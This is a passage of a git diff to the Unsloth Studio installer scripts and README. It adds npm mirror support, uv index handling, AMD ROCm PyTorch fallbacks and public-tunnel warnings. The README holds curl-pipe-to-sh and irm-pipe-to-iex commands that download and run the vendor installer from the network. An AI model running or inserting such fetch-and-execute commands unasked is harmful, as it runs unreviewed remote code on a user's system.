+212,7 @@ By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach i ```bash unsloth studio --secure -p 8888 ``` -- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network. +- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. This also starts a public Cloudflare quick tunnel by default, which publishes an internet-reachable `https://*.trycloudflare.com` URL even behind a firewall. Both the raw port and the tunnel expose Studio beyond this machine, so only use this on a network you trust; pass `--no-cloudflare` to drop the public link while keeping the network bind. ```bash unsloth studio -H 0.0.0.0 -p 8888 ``` @@ -246,6 +246,20 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex ``` +On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with: +```bash +curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh +``` + +Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`): +```bash +UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local +``` +```powershell +$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local +``` +It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force. + Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`. #### Uninstall diff --git a/build.sh b/build.sh index 1558dca240..dc272f0de1 100644 --- a/build.sh +++ b/build.sh @@ -1,4 +1,6 @@ #!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 set -euo pipefail @@ -33,10 +35,19 @@ _restore_gitignores() { } trap _restore_gitignores EXIT +# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we +# thread it as `--registry ` into the installs (overrides frontend/.npmrc's pinned +# registry for both bun and npm; min-release-age / save-exact stay in force). Empty +# array (the default) expands to nothing under `set -u`. +_NPM_REGISTRY_ARGS=() +if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then + _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY") +fi + # Use bun for install if available (faster), fall back to npm. _install_ok=false if command -v bun &>/dev/null; then - if bun install; then + if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then _install_ok=true else echo "⚠ bun install failed, falling back to npm" @@ -44,8 +55,10 @@ if command -v bun &>/dev/null; then fi fi if [ "$_install_ok" != "true" ]; then - if ! npm install; then + if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then echo "❌ ERROR: package install failed" >&2 + echo " If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2 + echo " UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2 exit 1 fi fi diff --git a/install.ps1 b/install.ps1 index 9877bb18a0..900cc0ba46 100644 --- a/install.ps1 +++ b/install.ps1 @@ -111,6 +111,7 @@ function Install-UnslothStudio { $TauriMode = $false $SkipTorch = $false $ShortcutsOnly = $false + $WithLlamaCppDir = "" $argList = $args for ($i = 0; $i -lt $argList.Count; $i++) { switch ($argList[$i]) { @@ -128,6 +129,14 @@ function Install-UnslothStudio { } $PackageName = $argList[$i] } + "--with-llama-cpp-dir" { + $i++ + if ($i -ge $argList.Count) { + Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.") + } + $WithLlamaCppDir = $argList[$i] + } } } @@ -472,6 +481,17 @@ function Install-UnslothStudio { param( [Parameter(Mandatory = $true)][ScriptBlock]$Command ) + # Installer-pinned index installs (torch) must beat an inherited uv mirror + # (#6898): when the command pins an index, clear every uv index env var so + # it wins, then restore in finally. Other installs keep the user's mirror. + $savedUvIndex = $null + if ($Command.ToString() -match '--default-index') { + $savedUvIndex = @{} + foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') { + $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n) + Remove-Item "Env:$n" -ErrorAction SilentlyContinue + } + } $prevEap = $ErrorActionPreference $ErrorActionPreference = "Continue" try { @@ -491,6 +511,7 @@ function Install-UnslothStudio { return [int]$LASTEXITCODE } finally { $ErrorActionPreference = $prevEap + if ($savedUvIndex) { foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } } } } @@ -1635,22 +1656,78 @@ exit 0 if (-not $HasNvidiaSmi) { # hipinfo: PATH first, then HIP_PATH/ROCM_PATH bin fallback (mirrors NVIDIA smi path resolution). # AMD HIP SDK sets HIP_PATH but may not add the bin dir to PATH depending on install type. - $hipinfoExe = Get-Command hipinfo -ErrorAction SilentlyContinue - if (-not $hipinfoExe) { - $hipRoot = if ($env:HIP_PATH) { $env:HIP_PATH } elseif ($env:ROCM_PATH) { $env:ROCM_PATH } else { $null } - $hipEnvLabel = if ($env:HIP_PATH) { "HIP_PATH" } else { "ROCM_PATH" } - if ($hipRoot) { - $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe" - if (Test-Path $hipinfoCandidate) { - Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow - Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow - Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow - $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate } - } else { - Write-Host " [WARN] ${hipEnvLabel}=$hipRoot is set but hipinfo.exe not found at $hipinfoCandidate" -ForegroundColor Yellow - Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow - Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow + # Ignore the venv hipInfo.exe (AMD wheel, on PATH): not a HIP SDK, so + # amd-smi would still auto-elevate. Cf. _path_inside_venv(). + function Test-HipinfoIsVenvInternal { + param([AllowNull()][string]$HipinfoPath) + if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false } + # Also derive the venv from the setup python + default Studio home, so + # the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset. + $venvRoots = @() + if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV } + $vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue + if ($vd) { $venvRoots += $vd } + if ($env:UNSLOTH_SETUP_PYTHON) { + try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {} + } + if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") } + # A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the + # venv off the default path; seed it too or its hipInfo escapes the filter. + $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null } + if ($studioHomeEnv) { + # Expand a leading ~ like the canonical resolver; else GetFullPath + # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter. + if (($studioHomeEnv -eq "~" -or $studioHomeEnv -like "~/*" -or $studioHomeEnv -like "~\*") -and -not [string]::IsNullOrWhiteSpace($env:USERPROFILE)) { + # A bare "~" leaves an empty child path; Join-Path rejects that on + # PS 5.1, so use USERPROFILE directly and only join a real remainder. + $studioHomeRest = $studioHomeEnv.Substring(1).TrimStart('/', '\') + $studioHomeEnv = if ($studioHomeRest) { Join-Path $env:USERPROFILE $studioHomeRest } else { $env:USERPROFILE } } + $venvRoots += (Join-Path $studioHomeEnv "unsloth_studio") + } + try { $hip = [System.IO.Path]::GetFullPath($HipinfoPath).TrimEnd('\', '/') } catch { return $false } + foreach ($root in $venvRoots) { + if ([string]::IsNullOrWhiteSpace($root)) { continue } + try { $r = [System.IO.Path]::GetFullPath($root).TrimEnd('\', '/') } catch { continue } + # Skip a bare drive root (e.g. a non-venv UNSLOTH_SETUP_PYTHON like + # C:\Python311\python.exe yields C:) -- it would match every path on that drive. + if ($r -match '^[a-zA-Z]:$') { continue } + if ($hip.Equals($r, [System.StringComparison]::OrdinalIgnoreCase) -or + $hip.StartsWith($r + [System.IO.Path]::DirectorySeparatorChar, [System.StringComparison]::OrdinalIgnoreCase)) { + return $true + } + } + return $false + } + # Scan all hipinfo and keep the first non-venv one (the venv copy from the + # bnb fix could shadow a real HIP SDK's). -CommandType Application matches + # only real executables, not a user alias/function named hipinfo. + $hipinfoExe = Get-Command hipinfo -CommandType Application -All -ErrorAction SilentlyContinue | + Where-Object { -not (Test-HipinfoIsVenvInternal $_.Source) } | + Select-Object -First 1 + if (-not $hipinfoExe) { + # Iterate the env roots (mirrors the Python list) and take the first non-venv + # bin\hipinfo.exe, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH. + $hipMissingLabel = $null; $hipMissingRoot = $null; $hipMissingCandidate = $null + foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH")) { + $hipRoot = [Environment]::GetEnvironmentVariable($hipEnvLabel) + if ([string]::IsNullOrWhiteSpace($hipRoot)) { continue } + $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe" + if (-not (Test-Path $hipinfoCandidate)) { + if (-not $hipMissingLabel) { $hipMissingLabel = $hipEnvLabel; $hipMissingRoot = $hipRoot; $hipMissingCandidate = $hipinfoCandidate } + continue + } + if (Test-HipinfoIsVenvInternal $hipinfoCandidate) { continue } # venv copy (AMD wheel): not a HIP SDK + Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow + Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow + Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow + $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate } + break + } + if ((-not $hipinfoExe) -and $hipMissingLabel) { + Write-Host " [WARN] ${hipMissingLabel}=$hipMissingRoot is set but hipinfo.exe not found at $hipMissingCandidate" -ForegroundColor Yellow + Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow + Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow } } if ($hipinfoExe) { @@ -1736,11 +1813,10 @@ exit 0 } catch {} } # ── Arch resolution: env-var override → name inference ────────────── - # Runs even when the hipinfo/amd-smi probe could NOT confirm a runtime - # ($HasROCm false): the gfx arch inferred from the WMI GPU name lets the - # studio setup forward --rocm-gfx and pull a GPU-accelerated ROCm - # llama.cpp, which bundles its own ROCm runtime. PyTorch's ROCm wheels - # still require a confirmed HIP SDK -- they stay gated on $HasROCm below. + # Runs even when the probe can't confirm a runtime ($HasROCm false): the + # WMI-name gfx arch drives both ROCm llama.cpp and torch. repo.amd.com + # wheels bundle their own runtime (no HIP SDK), so a mapped arch installs + # ROCm torch directly below -- no wasted CPU base. if (-not $ROCmGfxArch) { # 1. Manual override: set UNSLOTH_ROCM_GFX_ARCH=gfx1151 before running. if ($env:UNSLOTH_ROCM_GFX_ARCH) { @@ -2371,7 +2447,7 @@ exit 0 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs. $ROCmIndexUrl = $null $ROCmTorchFloor = $null - if ($HasROCm -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { + if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" } $archFamilyMap = @{ "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all" # RDNA 4 @@ -2394,6 +2470,17 @@ exit 0 "gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0" "gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0" } + # Companion ranges track the torch ceiling so pip resolves a consistent + # trio on AMD's per-arch index (each published independently). Mirrors + # setup.ps1 / install_python_stack.py; bump all three together for 2.12.x. + $torchvisionFloorMap = @{ + "gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0" + "gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0" + } + $torchaudioFloorMap = @{ + "gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0" + "gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0" + } $archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null } if ($archFamily) { $ROCmIndexUrl = "$amdIndexBase/$archFamily/" @@ -2422,10 +2509,10 @@ exit 0 if (-not $SkipTorch -and -not $ROCmIndexUrl -and $TorchIndexUrl -like "*/cpu") { Write-Host "" if ($ROCmGfxArch) { - # Known AMD arch: install.ps1 lays down CPU PyTorch as a base, then - # setup.ps1 swaps in AMD's bundled-runtime GPU ROCm wheels (no HIP SDK). - substep "Installing CPU PyTorch as a base -- Studio setup installs GPU ROCm" "Cyan" - substep "wheels for $ROCmGfxArch next (bundled runtime; HIP SDK not required)." "Cyan" + # Only an unmapped arch reaches here (a mapped one set $ROCmIndexUrl + # above). No ROCm torch wheels for this arch (e.g. RDNA2 gfx103X) -> CPU. + substep "Installing CPU PyTorch -- no ROCm PyTorch wheels are available for $ROCmGfxArch." "Yellow" + substep "PyTorch (training and Transformers inference) runs on CPU on this GPU." "Yellow" } else { if ($HipSdkInstalled -and -not $HasROCm) { substep "Installing CPU-only PyTorch (HIP SDK found but GPU not ROCm-accessible)." "Yellow" @@ -2479,7 +2566,7 @@ exit 0 if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" } if ($baseInstallExit -eq 0) { # Resolve pydantic WITH deps so pip pins pydantic-core # to the matching version (no-torch-runtime.txt below @@ -2493,7 +2580,7 @@ exit 0 } } } else { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" } } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red @@ -2520,15 +2607,34 @@ exit 0 Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)" substep "installing PyTorch from $ROCmIndexUrl..." $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio } + # Pin the companions to match $torchSpec; bare names can resolve an + # ABI-incompatible torchvision/torchaudio on AMD's per-arch index. + $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } if ($torchInstallExit -ne 0) { - Write-Host "[ERROR] Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" -ForegroundColor Red - return (Exit-InstallFailure "Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" $torchInstallExit) + # Transient AMD-index failure: fall back to a CPU base so the install + # still completes; Studio setup retries ROCm afterwards. + substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow" + # --force-reinstall: a failed ROCm install can leave an unpinned ROCm + # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU + # torch>= range, so without it uv would keep the ROCm build and only swap + # the companions -- a mismatched venv the flavor-repair block won't fix. + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl } + if ($torchInstallExit -ne 0) { + Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red + return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) + } + # CPU base is in; drop the ROCm expectation so the flavor-repair + # block below won't retry the just-failed index and abort. setup.ps1 + # reinstalls ROCm afterwards (recomputes its own index URL). + $ROCmIndexUrl = $null + $ROCmTorchFloor = $null } } else { Write-TauriLog "STEP" "Installing PyTorch" substep "installing PyTorch ($TorchIndexUrl)..." - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -2540,7 +2646,7 @@ exit 0 if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" } if ($baseInstallExit -eq 0) { # Same pydantic-with-deps trick as the migrated branch. $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic } @@ -2552,7 +2658,7 @@ exit 0 } } } elseif ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" } } else { $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" } } @@ -2580,7 +2686,7 @@ exit 0 Write-TauriLog "STEP" "Installing unsloth" substep "installing unsloth (this may take a few minutes)..." if ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit) @@ -2611,7 +2717,7 @@ exit 0 # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx* - # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install + # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops. if (-not $SkipTorch) { $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl @@ -2622,8 +2728,12 @@ exit 0 # AMD: a migrated venv can keep a stale CPU torch the fresh ROCm path # would have force-reinstalled. Repair from the same repo.amd.com index. $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } + # Pin companions like the fresh ROCm path (bare names can pull an + # ABI-incompatible torchvision/torchaudio from the per-arch index). + $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec torchvision torchaudio } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit) @@ -2632,7 +2742,7 @@ exit 0 } elseif ($expectedTorchTag -ne 'rocm') { # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet. substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit) @@ -2740,6 +2850,13 @@ exit 0 } $studioArgs = @('studio', 'setup') if ($script:UnslothVerbose) { $studioArgs += '--verbose' } + if ($WithLlamaCppDir) { + if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) { + Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.") + } + $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path + } $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1" # Hand the venv interpreter to setup.ps1 so it reuses the Python we already # resolved and built the venv with, instead of re-probing the system (which @@ -2755,6 +2872,7 @@ exit 0 } else { Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue } + Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue } @@ -2905,6 +3023,7 @@ exit 0 step "launch" "to start later, run:" substep "unsloth studio -p 8888" substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)" Write-Host "" } } else { @@ -2925,6 +3044,7 @@ exit 0 substep "unsloth studio -p 8888" } substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)" Write-Host "" } } diff --git a/install.sh b/install.sh index 41d9291d84..02cd50b5d4 100755 --- a/install.sh +++ b/install.sh @@ -53,6 +53,11 @@ _VERBOSE=false _SHORTCUTS_ONLY=false _next_is_package=false _next_is_python=false +_next_is_llama_cpp_dir=false +# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR +# (the documented piped-install style) is honored; the --with-llama-cpp-dir +# flag below overrides it when given. +_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" for arg in "$@"; do if [ "$_next_is_package" = true ]; then PACKAGE_NAME="$arg" @@ -64,6 +69,11 @@ for arg in "$@"; do _next_is_python=false continue fi + if [ "$_next_is_llama_cpp_dir" = true ]; then + _WITH_LLAMA_CPP_DIR="$arg" + _next_is_llama_cpp_dir=false + continue + fi case "$arg" in --local) STUDIO_LOCAL_INSTALL=true ;; --package) _next_is_package=true ;; @@ -72,6 +82,7 @@ for arg in "$@"; do --no-torch) _NO_TORCH_FLAG=true ;; --verbose|-v) _VERBOSE=true ;; --shortcuts-only) _SHORTCUTS_ONLY=true ;; + --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;; esac done @@ -148,6 +159,12 @@ run_maybe_quiet() { run_install_cmd() { _label="$1" shift + # Installer-pinned index installs (torch) must beat an inherited uv mirror + # (#6898): when we pass --default-index, neutralize every uv index env var so + # the pinned index wins. Other installs keep the user's mirror. + case " $* " in + *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL "$@" ;; + esac if _is_verbose; then "$@" && return 0 _rc=$? @@ -255,6 +272,10 @@ if [ "$_next_is_python" = true ]; then echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2 exit 1 fi +if [ "$_next_is_llama_cpp_dir" = true ]; then + echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2 + exit 1 +fi # Validate --package to prevent injection into shell/Python commands. # Must start with a letter/digit (rejects leading dashes that uv would parse as flags). @@ -447,8 +468,12 @@ _on_install_exit() { if [ "$_status" -ne 0 ]; then _restore_studio_venv_replacement fi + [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true exit "$_status" } +# Empty so an inherited value can never reach the trap's rm; only a temp dir +# this script creates below (Apple Silicon, spaced path) is ever removed. +_UV_OVERRIDE_TMPDIR="" trap _on_install_exit EXIT # ── Helper: download a URL to a file (supports curl and wget) ── @@ -1425,10 +1450,35 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then SKIP_TORCH=true fi +# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for +# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file +# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover. +_MLX_LM_EXCLUDE_ARG="" + # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file). if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then + _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3" _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt" if [ -f "$_OVERRIDES_FILE" ]; then + # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace + # truncates it and aborts every later uv call (issue 